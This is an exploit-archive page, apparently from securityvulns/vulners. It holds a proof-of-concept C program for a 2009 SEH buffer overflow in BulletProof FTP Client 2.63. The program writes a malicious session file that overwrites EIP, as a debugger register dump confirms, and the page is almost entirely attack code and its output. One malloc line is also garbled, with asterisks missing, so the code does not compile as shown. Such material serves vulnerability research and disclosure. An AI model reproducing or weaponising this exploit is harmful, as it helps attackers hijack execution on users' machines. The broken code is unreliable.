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securityvulnsSecurityvulnsSECURITYVULNS:DOC:22569
HistoryOct 07, 2009 - 12:00 a.m.

BulletProof FTP Client Buffer Overflow (SEH)

2009-10-0700:00:00
vulners.com
4

/*
BulletProof FTP Client suffer a buffer overflow (SEH).

Tested on BullerProof FTP Client v. 2.63 build 56 (The last one) but may work with older releases as
well

Registers:

EAX 00000000
ECX 65646362
EDX 7C9032BC ntdll.7C9032BC
EBX 00000000
ESP 0012F1E0
EBP 0012F200
ESI 00000000
EDI 00000000
EIP 65646362
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -??? FFFF 00FF00FF 00FF00FF
ST1 empty -??? FFFF 00FF00FF 00FF00FF
ST2 empty -??? FFFF 000000F3 00F300F3
ST3 empty -??? FFFF 000000F3 00F300F3
ST4 empty -??? FFFF 00F4F4F4 00F4F4F4
ST5 empty 7.2337335968722701770e+18
ST6 empty 7.3060737696935038410e+18
ST7 empty 7.0169967652934372810e+18
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *xpl;
char *str;
char message[]="This is a BulletProof FTP Client Session-File and should not be modified
directly.\n";
char trash[]="21\nanything\nbpfdhjomeepehepbflql\nC:\\\n/";

int main(){
int tam;
FILE *fp;
printf("Made by: Rafael Sousa\n");
printf("Produzido por Rafael Sousa\n");
str=(char )malloc(98sizeof(char));
memset(str,'a',93);
str[93]='b';
str[94]='c';
str[95]='d';
str[96]='e';
str[97]='\0';
tam=strlen(str)+strlen(message)+strlen(trash);
printf("%d\n",tam);
xpl=(char *)malloc((tam+1)*sizeof(char));
sprintf(xpl,"%s%s\n%s",message,str,trash);
fp=fopen("POC.bps","w");
fputs(xpl,fp);
fclose(fp);
free(str);
free(xpl);
return(0);
}